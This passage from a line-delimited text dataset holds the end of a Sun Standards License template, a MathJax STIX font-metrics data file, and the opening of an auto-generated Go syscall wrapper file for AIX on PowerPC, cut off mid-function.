liability incurred by the Initial Developer as a result of warranty, support, indemnity or liability terms You offer.\n\n <<var;name=\"bullet\";original=\"3.3\";match=\".{0,20}\">> Distribution of Executable Versions. You may distribute Original Code in Executable and Source form only if the requirements of Sections 3.1 and 3.2 have been met for that Original Code, and if You include a notice stating that the Source Code version of the Original Code is available under the terms of this License. The notice must be conspicuously included in any notice in an Executable or Source versions, related documentation or collateral in which You describe recipients' rights relating to the Original Code. You may distribute the Executable and Source versions of Your version of the Code or ownership rights under a license of Your choice, which may contain terms different from this License, provided that You are in compliance with the terms of this License. If You distribute the Executable and Source versions under a different license You must make it absolutely clear that any terms which differ from this License are offered by You alone, not by the Initial Developer. You hereby agree to indemnify the Initial Developer for any liability incurred by the Initial Developer as a result of any such terms You offer.\n\n <<var;name=\"bullet\";original=\"3.4\";match=\".{0,20}\">> Larger Works. You may create a Larger Work by combining Original Code with other code not governed by the terms of this License and distribute the Larger Work as a single product. In such a case, You must make sure the requirements of this License are fulfilled for the Original Code.\n\n <<var;name=\"bullet\";original=\"4.0\";match=\".{0,20}\">> INABILITY TO COMPLY DUE TO STATUTE OR REGULATION\n\n If it is impossible for You to comply with any of the terms of this License with respect to some or all of the Original Code due to statute, judicial order, or regulation then You must: (a) comply with the terms of this License to the maximum extent possible; and (b) describe the limitations and the code they affect. Such description must be included in the LEGAL file described in Section 3.2 and must be included with all distributions of the Source Code. Except to the extent prohibited by statute or regulation, such description must be sufficiently detailed for a recipient of ordinary skill to be able to understand it.\n\n <<var;name=\"bullet\";original=\"5.0\";match=\".{0,20}\">> APPLICATION OF THIS LICENSE\n\n This License applies to code to which the Initial Developer has attached the notice in Exhibit A and to related Modifications as set out in Section 3.1.\n\n <<var;name=\"bullet\";original=\"6.0\";match=\".{0,20}\">> VERSIONS OF THE LICENSE\n\n <<var;name=\"bullet\";original=\"6.1\";match=\".{0,20}\">> New Versions. Sun may publish revised and/or new versions of the License from time to time. Each version will be given a distinguishing version number.\n\n <<var;name=\"bullet\";original=\"6.2\";match=\".{0,20}\">> Effect of New Versions. Once Original Code has been published under a particular version of the License, You may always continue to use it under the terms of that version. You may also choose to use such Original Code under the terms of any subsequent version of the License published by Sun. No one other than Sun has the right to modify the terms applicable to Original Code.\n\n <<var;name=\"bullet\";original=\"7.0\";match=\".{0,20}\">> DISCLAIMER OF WARRANTY\n\n ORIGINAL CODE IS PROVIDED UNDER THIS LICENSE ON AN \"AS IS\" BASIS, WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, WITHOUT LIMITATION, WARRANTIES THAT THE ORIGINAL CODE IS FREE OF DEFECTS, MERCHANTABLE, FIT FOR A PARTICULAR PURPOSE OR NON-INFRINGING. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE ORIGINAL CODE IS WITH YOU. SHOULD ANY ORIGINAL CODE PROVE DEFECTIVE IN ANY RESPECT, YOU (NOT THE INITIAL DEVELOPER) ASSUME THE COST OF ANY NECESSARY SERVICING, REPAIR OR CORRECTION. THIS DISCLAIMER OF WARRANTY CONSTITUTES AN ESSENTIAL PART OF THIS LICENSE. NO USE OF ANY ORIGINAL CODE IS AUTHORIZED HEREUNDER EXCEPT UNDER THIS DISCLAIMER.\n\n <<var;name=\"bullet\";original=\"8.0\";match=\".{0,20}\">> TERMINATION\n\n <<var;name=\"bullet\";original=\"8.1\";match=\".{0,20}\">> This License and the rights granted hereunder will terminate automatically if You fail to comply with terms herein and fail to cure such breach within 30 days of becoming aware of the breach. All sublicenses to the Original Code which are properly granted shall survive any termination of this License. Provisions which, by their nature, must remain in effect beyond the termination of this License shall survive.\n\n <<var;name=\"bullet\";original=\"8.2\";match=\".{0,20}\">> In the event of termination under Section 8.1 above, all end user license agreements (excluding distributors and resellers) which have been validly granted by You or any distributor hereunder prior to termination shall survive termination.\n\n <<var;name=\"bullet\";original=\"9.0\";match=\".{0,20}\">> LIMIT OF LIABILITY\n\n UNDER NO CIRCUMSTANCES AND UNDER NO LEGAL THEORY, WHETHER TORT (INCLUDING NEGLIGENCE), CONTRACT, OR OTHERWISE, SHALL YOU, THE INITIAL DEVELOPER, ANY OTHER CONTRIBUTOR, OR ANY DISTRIBUTOR OF ORIGINAL CODE, OR ANY SUPPLIER OF ANY OF SUCH PARTIES, BE LIABLE TO ANY PERSON FOR ANY INDIRECT, SPECIAL, INCIDENTAL, OR CONSEQUENTIAL DAMAGES OF ANY CHARACTER INCLUDING, WITHOUT LIMITATION, DAMAGES FOR LOSS OF GOODWILL, WORK STOPPAGE, COMPUTER FAILURE OR MALFUNCTION, OR ANY AND ALL OTHER COMMERCIAL DAMAGES OR LOSSES, EVEN IF SUCH PARTY SHALL HAVE BEEN INFORMED OF THE POSSIBILITY OF SUCH DAMAGES. THIS LIMITATION OF LIABILITY SHALL NOT APPLY TO LIABILITY FOR DEATH OR PERSONAL INJURY RESULTING FROM SUCH PARTY'S NEGLIGENCE TO THE EXTENT APPLICABLE LAW PROHIBITS SUCH LIMITATION. SOME JURISDICTIONS DO NOT ALLOW THE EXCLUSION OR LIMITATION OF INCIDENTAL OR CONSEQUENTIAL DAMAGES, SO THIS EXCLUSION AND LIMITATION MAY NOT APPLY TO YOU.\n\n <<var;name=\"bullet\";original=\"10.0\";match=\".{0,20}\">> U.S. GOVERNMENT END USERS\n\n U.S. Government: If this Software is being acquired by or on behalf of the U.S. Government or by a U.S. Government prime contractor or subcontractor (at any tier), then the Government's rights in the Software and accompanying documentation shall be only as set forth in this license; this is in accordance with 48 C.F.R. 227.7201 through 227.7202-4 (for Department of Defense (DoD) acquisitions) and with 48 C.F.R. 2.101 and 12.212 (for non-DoD acquisitions).\n\n <<var;name=\"bullet\";original=\"11.0\";match=\".{0,20}\">> MISCELLANEOUS\n\n This License represents the complete agreement concerning subject matter hereof. If any provision of this License is held to be unenforceable, such provision shall be reformed only to the extent necessary to make it enforceable. This License shall be governed by California law provisions (except to the extent applicable law, if any, provides otherwise), excluding its conflict-of-law provisions. With respect to disputes in which at least one party is a citizen of, or an entity chartered or registered to do business in the United States of America, any litigation relating to this License shall be subject to the jurisdiction of the Federal Courts of the Northern District of California, with venue lying in Santa Clara County, California, with the losing party responsible for costs, including without limitation, court costs and reasonable attorneys' fees and expenses. The application of the United Nations Convention on Contracts for the International Sale of Goods is expressly excluded. Any law or regulation which provides that the language of a contract shall be construed against the drafter shall not apply to this License.<<beginOptional>> EXHIBIT A - Sun Standards License\n\n<<beginOptional>>\"<<endOptional>>The contents of this file are subject to the Sun Standards License Version 1.1 (the \"License\"); You may not use this file except in compliance with the License. You may obtain a copy of the License at <<var;name=\"source\";original=\"_______________________________\";match=\".+\">> .\n\nSoftware distributed under the License is distributed on an \"AS IS\" basis, WITHOUT WARRANTY OF ANY KIND, either\n\nexpress or implied. See the License for the specific language governing rights and limitations under the License.\n\nThe Original Code is <<var;name=\"code\";original=\"______________________________________\";match=\".+\">> .\n\nThe Initial Developer of the Original Code is: <<var;name=\"initialDeveloper\";original=\"Sun Microsystems, Inc.\";match=\".+\">> .\n\nPortions created by: <<var;name=\"creator\";original=\"_______________________________________\";match=\".+\">>\n\nare Copyright (C): <<var;name=\"copyright\";original=\"_______________________________________\";match=\".+\">>\n\nAll Rights Reserved.\n\nContributor(s): <<var;name=\"contributor\";original=\"_______________________________________\";match=\".+\">>\n\nEXHIBIT B - Standards\n\nThe Standard is defined as the following:\n\nOpenOffice.org XML File Format Specification, located at http://xml.openoffice.org\n\nOpenOffice.org Application Programming Interface Specification, located at\n\nhttp://api.openoffice.org<<endOptional>>"} {"text": "/*\n * /MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/GreekBoldItalic.js\n * \n * Copyright (c) 2012 Design Science, Inc.\n *\n * Part of the MathJax library.\n * See http://www.mathjax.org for details.\n * \n * Licensed under the Apache License, Version 2.0;\n * you may not use this file except in compliance with the License.\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n */\n\nMathJax.Hub.Insert(MathJax.OutputJax[\"HTML-CSS\"].FONTDATA.FONTS.STIXGeneral,{120604:[685,0,759,39,724],120605:[669,0,726,42,715],120606:[669,0,634,42,749],120607:[685,0,632,32,589],120608:[669,0,732,42,754],120609:[669,0,797,66,830],120610:[669,0,891,42,946],120611:[685,16,783,55,755],120612:[669,0,502,42,557],120613:[669,0,795,42,839],120614:[685,0,759,39,724],120615:[669,0,1016,42,1071],120616:[669,0,869,42,924],120617:[669,0,718,57,757],120618:[685,16,777,55,755],120619:[669,0,887,39,942],120620:[669,0,612,42,733],120621:[685,16,783,55,755],120622:[669,0,759,64,787],120623:[669,0,568,28,700],120624:[685,0,641,31,784],120625:[669,0,827,28,799],120626:[669,0,808,28,830],120627:[685,0,694,30,781],120628:[685,0,826,57,815],120629:[669,16,632,43,600],120630:[461,12,624,44,630],120631:[685,205,555,28,583],120632:[462,202,490,44,503],120633:[685,8,538,44,538],120634:[462,10,495,28,451],120635:[685,203,472,44,522],120636:[462,205,517,33,511],120637:[686,11,566,44,555],120638:[462,9,318,55,274],120639:[462,0,560,55,577],120640:[685,16,570,55,537],120641:[450,205,636,33,603],120642:[459,10,523,55,534],120643:[685,203,476,28,487],120644:[462,10,561,44,539],120645:[450,13,579,39,590],120646:[462,205,595,33,562],120647:[462,203,480,39,508],120648:[450,10,592,44,603],120649:[450,7,469,33,502],120650:[462,10,552,33,535],120651:[462,205,706,55,667],120652:[462,204,621,33,676],120653:[462,205,701,33,756],120654:[462,10,687,22,665],120655:[686,10,559,44,559],120656:[461,10,481,44,481],120657:[698,13,607,33,584],120658:[462,15,607,-12,630],120659:[685,205,683,44,655],120660:[462,205,585,44,563],120661:[450,10,868,33,879]});MathJax.Ajax.loadComplete(MathJax.OutputJax[\"HTML-CSS\"].fontDir+\"/General/Regular/GreekBoldItalic.js\");\n\n"} {"text": "// go run mksyscall_aix_ppc.go -aix -tags aix,ppc syscall_aix.go syscall_aix_ppc.go\n// Code generated by the command above; see README.md. DO NOT EDIT.\n\n// +build aix,ppc\n\npackage unix\n\n/*\n#include <stdint.h>\n#include <stddef.h>\nint utimes(uintptr_t, uintptr_t);\nint utimensat(int, uintptr_t, uintptr_t, int);\nint getcwd(uintptr_t, size_t);\nint accept(int, uintptr_t, uintptr_t);\nint getdirent(int, uintptr_t, size_t);\nint wait4(int, uintptr_t, int, uintptr_t);\nint ioctl(int, int, uintptr_t);\nint fcntl(uintptr_t, int, uintptr_t);\nint acct(uintptr_t);\nint chdir(uintptr_t);\nint chroot(uintptr_t);\nint close(int);\nint dup(int);\nvoid exit(int);\nint faccessat(int, uintptr_t, unsigned int, int);\nint fchdir(int);\nint fchmod(int, unsigned int);\nint fchmodat(int, uintptr_t, unsigned int, int);\nint fchownat(int, uintptr_t, int, int, int);\nint fdatasync(int);\nint fsync(int);\nint getpgid(int);\nint getpgrp();\nint getpid();\nint getppid();\nint getpriority(int, int);\nint getrusage(int, uintptr_t);\nint getsid(int);\nint kill(int, int);\nint syslog(int, uintptr_t, size_t);\nint mkdir(int, uintptr_t, unsigned int);\nint mkdirat(int, uintptr_t, unsigned int);\nint mkfifo(uintptr_t, unsigned int);\nint mknod(uintptr_t, unsigned int, int);\nint mknodat(int, uintptr_t, unsigned int, int);\nint nanosleep(uintptr_t, uintptr_t);\nint open64(uintptr_t, int, unsigned int);\nint openat(int, uintptr_t, int, unsigned int);\nint read(int, uintptr_t, size_t);\nint readlink(uintptr_t, uintptr_t, size_t);\nint renameat(int, uintptr_t, int, uintptr_t);\nint setdomainname(uintptr_t, size_t);\nint sethostname(uintptr_t, size_t);\nint setpgid(int, int);\nint setsid();\nint settimeofday(uintptr_t);\nint setuid(int);\nint setgid(int);\nint setpriority(int, int, int);\nint statx(int, uintptr_t, int, int, uintptr_t);\nint sync();\nuintptr_t times(uintptr_t);\nint umask(int);\nint uname(uintptr_t);\nint unlink(uintptr_t);\nint unlinkat(int, uintptr_t, int);\nint ustat(int, uintptr_t);\nint write(int, uintptr_t, size_t);\nint dup2(int, int);\nint posix_fadvise64(int, long long, long long, int);\nint fchown(int, int, int);\nint fstat(int, uintptr_t);\nint fstatat(int, uintptr_t, uintptr_t, int);\nint fstatfs(int, uintptr_t);\nint ftruncate(int, long long);\nint getegid();\nint geteuid();\nint getgid();\nint getuid();\nint lchown(uintptr_t, int, int);\nint listen(int, int);\nint lstat(uintptr_t, uintptr_t);\nint pause();\nint pread64(int, uintptr_t, size_t, long long);\nint pwrite64(int, uintptr_t, size_t, long long);\n#define c_select select\nint select(int, uintptr_t, uintptr_t, uintptr_t, uintptr_t);\nint pselect(int, uintptr_t, uintptr_t, uintptr_t, uintptr_t, uintptr_t);\nint setregid(int, int);\nint setreuid(int, int);\nint shutdown(int, int);\nlong long splice(int, uintptr_t, int, uintptr_t, int, int);\nint stat(uintptr_t, uintptr_t);\nint statfs(uintptr_t, uintptr_t);\nint truncate(uintptr_t, long long);\nint bind(int, uintptr_t, uintptr_t);\nint connect(int, uintptr_t, uintptr_t);\nint getgroups(int, uintptr_t);\nint setgroups(int, uintptr_t);\nint getsockopt(int, int, int, uintptr_t, uintptr_t);\nint setsockopt(int, int, int, uintptr_t, uintptr_t);\nint socket(int, int, int);\nint socketpair(int, int, int, uintptr_t);\nint getpeername(int, uintptr_t, uintptr_t);\nint getsockname(int, uintptr_t, uintptr_t);\nint recvfrom(int, uintptr_t, size_t, int, uintptr_t, uintptr_t);\nint sendto(int, uintptr_t, size_t, int, uintptr_t, uintptr_t);\nint nrecvmsg(int, uintptr_t, int);\nint nsendmsg(int, uintptr_t, int);\nint munmap(uintptr_t, uintptr_t);\nint madvise(uintptr_t, size_t, int);\nint mprotect(uintptr_t, size_t, int);\nint mlock(uintptr_t, size_t);\nint mlockall(int);\nint msync(uintptr_t, size_t, int);\nint munlock(uintptr_t, size_t);\nint munlockall();\nint pipe(uintptr_t);\nint poll(uintptr_t, int, int);\nint gettimeofday(uintptr_t, uintptr_t);\nint time(uintptr_t);\nint utime(uintptr_t, uintptr_t);\nunsigned long long getsystemcfg(int);\nint umount(uintptr_t);\nint getrlimit64(int, uintptr_t);\nint setrlimit64(int, uintptr_t);\nlong long lseek64(int, long long, int);\nuintptr_t mmap(uintptr_t, uintptr_t, int, int, int, long long);\n\n*/\nimport \"C\"\nimport (\n\t\"unsafe\"\n)\n\n// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT\n\nfunc utimes(path string, times *[2]Timeval) (err error) {\n\t_p0 := uintptr(unsafe.Pointer(C.CString(path)))\n\tr0, er := C.utimes(C.uintptr_t(_p0), C.uintptr_t(uintptr(unsafe.Pointer(times))))\n\tif r0 == -1 && er != nil {\n\t\terr = er\n\t}\n\treturn\n}\n\n// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT\n\nfunc utimensat(dirfd int, path string, times *[2]Timespec, flag int) (err error) {\n\t_p0 := uintptr(unsafe.Pointer(C.CString(path)))\n\tr0, er := C.utimensat(C.int(dirfd), C.uintptr_t(_p0), C.uintptr_t(uintptr(unsafe.Pointer(times))), C.int(flag))\n\tif r0 == -1 && er != nil {\n\t\terr = er\n\t}\n\treturn\n}\n\n// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT\n\nfunc getcwd(buf []byte) (err error) {\n\tvar _p0 *byte\n\tif len(buf) > 0 {\n\t\t_p0 = &buf[0]\n\t}\n\tvar _p1 int\n\t_p1 = len(buf)\n\tr0, er := C.getcwd(C.uintptr_t(uintptr(unsafe.Pointer(_p0))), C.size_t(_p1))\n\tif r0 == -1 && er != nil {\n\t\terr = er\n\t}\n\treturn\n}\n\n// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT\n\nfunc accept(s int, rsa *RawSockaddrAny, addrlen *_Socklen) (fd int, err error) {\n\tr0, er := C.accept(C.int(s), C.uintptr_t(uintptr(unsafe.Pointer(rsa))), C.uintptr_t(uintptr(unsafe.Pointer(addrlen))))\n\tfd = int(r0)\n\tif r0 == -1 && er != nil {\n\t\terr = er\n\t}\n\treturn\n}\n\n// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT\n\nfunc getdirent(fd int, buf []byte) (n int, err error) {\n\tvar _p0 *byte\n\tif len(buf) > 0 {\n\t\t_p0 = &buf[0]\n\t}\n\tvar _p1 int\n\t_p1 = len(buf)\n\tr0, er := C.getdirent(C.int(fd), C.uintptr_t(uintptr(unsafe.Pointer(_p0))), C.size_t(_p1))\n\tn = int(r0)\n\tif r0 == -1 && er != nil {\n\t\terr = er\n\t}\n\treturn\n}\n\n// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT\n\nfunc wait4(pid Pid_t, status *_C_int, options int, rusage *Rusage) (wpid Pid_t, err error) {\n\tr0, er := C.wait4(C.int(pid), C.uintptr_t(uintptr(unsafe.Pointer(status))), C.int(options), C.uintptr_t(uintptr(unsafe.Pointer(rusage))))\n\twpid = Pid_t(r0)\n\tif r0 == -1 && er != nil {\n\t\terr = er\n\t}\n\treturn\n}\n\n// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT\n\nfunc ioctl(fd int, req uint, arg uintptr) (err error) {\n\tr0, er := C.ioctl(C.int(fd), C.int(req), C.uintptr_t(arg))\n\tif r0 == -1 && er != nil {\n\t\terr = er\n\t}\n\treturn\n}\n\n// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT\n\nfunc FcntlInt(fd uintptr, cmd int, arg int) (r int, err error) {\n\tr0, er := C.fcntl(C.uintptr_t(fd), C.int(cmd), C.uintptr_t(arg))\n\tr = int(r0)\n\tif r0 == -1 && er != nil {\n\t\terr = er\n\t}\n\treturn\n}\n\n// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT\n\nfunc FcntlFlock(fd uintptr, cmd int, lk *Flock_t) (err error) {\n\tr0, er := C.fcntl(C.uintptr_t(fd), C.int(cmd), C.uintptr_t(uintptr(unsafe.Pointer(lk))))\n\tif r0 == -1 && er != nil {\n\t\terr = er\n\t}\n\treturn\n}\n\n// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT\n\nfunc fcntl(fd int, cmd int, arg int) (val int, err error) {\n\tr0, er := C.fcntl(C.uintptr_t(fd), C.int(cmd), C.uintptr_t(arg))\n\tval = int(r0)\n\tif r0 == -1 && er != nil {\n\t\terr = er\n\t}\n\treturn\n}\n\n// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT\n\nfunc Acct(path string) (err error) {\n\t_p0 := uintptr(unsafe.Pointer(C.CString(path)))\n\tr0, er := C.acct(C.uintptr_t(_p0))\n\tif r0 == -1 && er != nil {\n\t\terr = er\n\t}\n\treturn\n}\n\n// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT\n\nfunc Chdir(path string) (err error) {\n\t_p0 := uintptr(unsafe.Pointer(C.CString(path)))\n\tr0, er := C.chdir(C.uintptr_t(_p0))\n\tif r0 == -1 && er != nil {\n\t\terr = er\n\t}\n\treturn\n}\n\n// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT\n\nfunc Chroot(path string) (err error) {\n\t_p0 := uintptr(unsafe.Pointer(C.CString(path)))\n\tr0, er := C.chroot(C.uintptr_t(_p0))\n\tif r0 == -1 && er != nil {\n\t\terr = er\n\t}\n\treturn\n}\n\n// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT\n\nfunc Close(fd int) (err error) {\n\tr0, er := C.close(C.int(fd))\n\tif r0 == -1 && er != nil {\n\t\terr = er\n\t}\n\treturn\n}\n\n// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT\n\nfunc Dup(oldfd int) (fd int, err error) {\n\tr0, er := C.dup(C.int(oldfd))\n\tfd = int(r0)\n\tif r0 == -1 && er != nil {\n\t\terr = er\n\t}\n\treturn\n}\n\n// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT\n\nfunc Exit(code int) {\n\tC.exit(C.int(code))\n\treturn\n}\n\n// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT\n\nfunc Faccessat(dirfd int, path string, mode uint32, flags int) (err error) {\n\t_p0 := uintptr(unsafe.Pointer(C.CString(path)))\n\tr0, er := C.faccessat(C.int(dirfd), C.uintptr_t(_p0), C.uint(mode), C.int(flags))\n\tif r0 == -1 && er != nil {\n\t\terr = er\n\t}\n\treturn\n}\n\n// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT\n\nfunc Fchdir(fd int) (err error) {\n\tr0, er := C.fchdir(C.int(fd))\n\tif r0 == -1 && er != nil {\n\t\terr = er\n\t}\n\treturn\n}\n\n// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT\n\nfunc Fchmod(fd int, mode uint32) (err error) {\n\tr0, er := C.fchmod(C.int(fd), C.uint(mode))\n\tif r0 == -1 && er != nil {\n\t\terr = er\n\t}\n\treturn\n}\n\n// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT\n\nfunc Fchmodat(dirfd int, path string, mode uint32, flags int) (err error) {\n\t_p0 := uintptr(unsafe.Pointer(C.CString(path)))\n\tr0, er := C.fchmodat(C.int(dirfd), C.uintptr_t(_p0), C.uint(mode), C.int(flags))\n\tif r0 == -1 && er != nil {\n\t\terr = er\n\t}\n\treturn\n}\n\n// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT\n\nfunc Fchownat(dirfd int, path string, uid int, gid int, flags int) (err error) {\n\t_p0 := uintptr(unsafe.Pointer(C.CString(path)))\n\tr0, er := C.fchownat(C.int(dirfd), C.uintptr_t(_p0), C.int(uid), C.int(gid), C.int(flags))\n\tif r0 == -1 && er != nil {\n\t\terr = er\n\t}\n\treturn\n}\n\n// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT\n\nfunc Fdatasync(fd int) (err error) {\n\tr0, er := C.fdatasync(C.int(fd))\n\tif r0 == -1 && er != nil {\n\t\terr = er\n\t}\n\treturn\n}\n\n// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT\n\nfunc Fsync(fd int) (err error) {\n\tr0, er := C.fsync(C.int(fd))\n\tif r0 == -1 && er != nil {\n\t\terr = er\n\t}\n\treturn\n}\n\n// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT\n\nfunc Getpgid(pid int) (pgid int, err error) {\n\tr0, er := C.getpgid(C.int(pid))\n\tpgid = int(r0)\n\tif r0 == -1 && er != nil {\n\t\terr = er\n\t}\n\treturn\n}\n\n// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT\n\nfunc Getpgrp() (pid int) {\n\tr0, _ := C.getpgrp()\n\tpid = int(r0)\n\treturn\n}\n\n// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT\n\nfunc Getpid() (pid int) {\n\tr0, _ := C.getpid()\n\tpid = int(r0)\n\treturn\n}\n\n// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT\n\nfunc Getppid() (ppid int) {\n\tr0, _ := C.getppid()\n\tppid = int(r0)\n\treturn\n}\n\n// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT\n\nfunc Getpriority(which int, who int) (prio int, err error) {\n\tr0, er := C.getpriority(C.int(which), C.int(who))\n\tprio = int(r0)\n\tif r0 == -1 && er != nil {\n\t\terr = er\n\t}\n\treturn\n}\n\n// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT\n\nfunc Getrusage(who int, rusage *Rusage) (err error) {\n\tr0, er := C.getrusage(C.int(who), C.uintptr_t(uintptr(unsafe.Pointer(rusage))))\n\tif r0 == -1 && er != nil {\n\t\terr = er\n\t}\n\treturn\n}\n\n// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT\n\nfunc Getsid(pid int) (sid int, err error) {\n\tr0, er := C.getsid(C.int(pid))\n\tsid = int(r0)\n\tif r0 == -1 && er != nil {\n\t\terr = er\n\t}\n\treturn\n}\n\n// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT\n\nfunc Kill(pid int, sig Signal) (err error) {\n\tr0, er := C.kill(C.int(pid), C.int(sig))\n\tif r0 == -1 && er != nil {\n\t\terr = er\n\t}\n\treturn\n}\n\n// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT\n\nfunc Klogctl(typ int, buf []byte) (n int, err error) {\n\tvar _p0 *byte\n\tif len(buf) > 0 {\n\t\t_p0 = &buf[0]\n\t}\n\tvar _p1 int\n\t_p1 = len(buf)\n\tr0, er := C.syslog(C.int(typ), C.uintptr_t(uintptr(unsafe.Pointer(_p0))), C.size_t(_p1))\n\tn = int(r0)\n\tif r0 == -1 && er != nil {\n\t\terr = er\n\t}\n\treturn\n}\n\n// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT\n\nfunc Mkdir(dirfd int, path string, mode uint32) (err error) {\n\t_p0 := uintptr(unsafe.Pointer(C.CString(path)))\n\tr0, er := C.mkdir(C.int(dirfd), C.uintptr_t(_p0), C.uint(mode))\n\tif r0 == -1 && er != nil {\n\t\terr = er\n\t}\n\treturn\n}\n\n// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT\n\nfunc Mkdirat(dirfd int, path string, mode uint32) (err error) {\n\t_p0 := uintptr(unsafe.Pointer(C.CString(path)))\n\tr0, er := C.mkdirat(C.int(dirfd), C.uintptr_t(_p0), C.uint(mode))\n\tif r0 == -1 && er != nil {\n\t\terr = er\n\t}\n\treturn\n}\n\n// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT\n\nfunc Mkfifo(path string, mode uint32) (err error) {\n\t_p0 := uintptr(unsafe.Pointer(C.CString(path)))\n\tr0, er := C.mkfifo(C.uintptr_t(_p0), C.uint(mode))\n\tif r0 == -1 && er != nil {\n\t\terr = er\n\t}\n\treturn\n}\n\n// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT\n\nfunc Mknod(path string, mode uint32, dev int) (err error) {\n\t_p0 := uintptr(unsafe.Pointer(C.CString(path)))\n\tr0, er := C.mknod(C.uintptr_t(_p0), C.uint(mode), C.int(dev))\n\tif r0 == -1 && er != nil {\n\t\terr = er\n\t}\n\treturn\n}\n\n// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT\n\nfunc Mknodat(dirfd int, path string, mode uint32, dev int) (err error) {\n\t_p0 := uintptr(unsafe.Pointer(C.CString(path)))\n\tr0, er := C.mknodat(C.int(dirfd), C.uintptr_t(_p0), C.uint(mode), C.int(dev))\n\tif r0 == -1 && er != nil {\n\t\terr = er\n\t}\n\treturn\n}\n\n// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT\n\nfunc Nanosleep(time *Timespec, leftover *Timespec) (err error) {\n\tr0, er := C.nanosleep(C.uintptr_t(uintptr(unsafe.Pointer(time))), C.uintptr_t(uintptr(unsafe.Pointer(leftover))))\n\tif r0 == -1 && er != nil {\n\t\terr = er\n\t}\n\treturn\n}\n\n// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT\n\nfunc Open(path string, mode int, perm uint32) (fd int, err error) {\n\t_p0 := uintptr(unsafe.Pointer(C.CString(path)))\n\tr0, er := C.open64(C.uintptr_t(_p0), C.int(mode), C.uint(perm))\n\tfd = int(r0)\n\tif r0 == -1 && er != nil {\n\t\terr = er\n\t}\n\treturn\n}\n\n// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT\n\nfunc Openat(dirfd int, path string, flags int, mode uint32) (fd int, err error) {\n\t_p0 := uintptr(unsafe.Pointer(C.CString(path)))\n\tr0, er := C.openat(C.int(dirfd), C.uintptr_t(_p0), C.int(flags), C.uint(mode))\n\tfd = int(r0)\n\tif r0 == -1 && er != nil {\n\t\terr = er\n\t}\n\treturn\n}\n\n// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT\n\nfunc read(fd int, p []byte) (n int, err error) {\n\tvar _p0 *byte\n\tif len(p) > 0 {\n\t\t_p0 = &p[0]\n\t}\n\tvar _p1 int\n\t_p1 = len(p)\n\tr0, er := C.read(C.int(fd), C.uintptr_t(uintptr(unsafe.Pointer(_p0))), C.size_t(_p1))\n\tn = int(r0)\n\tif r0 == -1 && er != nil {\n\t\terr = er\n\t}\n\treturn\n}\n\n// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT\n\nfunc Readlink(path string, buf []byte) (n int, err error) {\n\t_p0 := uintptr(unsafe.Pointer(C.CString(path)))\n\tvar _p1 *byte\n\tif len(buf) > 0 {\n\t\t_p1 = &buf[0]\n\t}\n\tvar _p2 int\n\t_p2 = len(buf)\n\tr0, er := C.readlink(C.uintptr_t(_p0), C.uintptr_t(uintptr(unsafe.Pointer(_p1))), C.size_t(_p2))\n\tn = int(r0)\n\tif r0 == -1 && er != nil {\n\t\terr = er\n\t}\n\treturn\n}\n\n// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT\n\nfunc Renameat(olddirfd int, oldpath string, newdirfd int, newpath string) (err error) {\n\t_p0 := uintptr(unsafe.Pointer(C.CString(oldpath)))\n\t_p1 := uintptr(unsafe.Pointer(C.CString(newpath)))\n\tr0, er := C.renameat(C.int(olddirfd), C.uintptr_t(_p0), C.int(newdirfd), 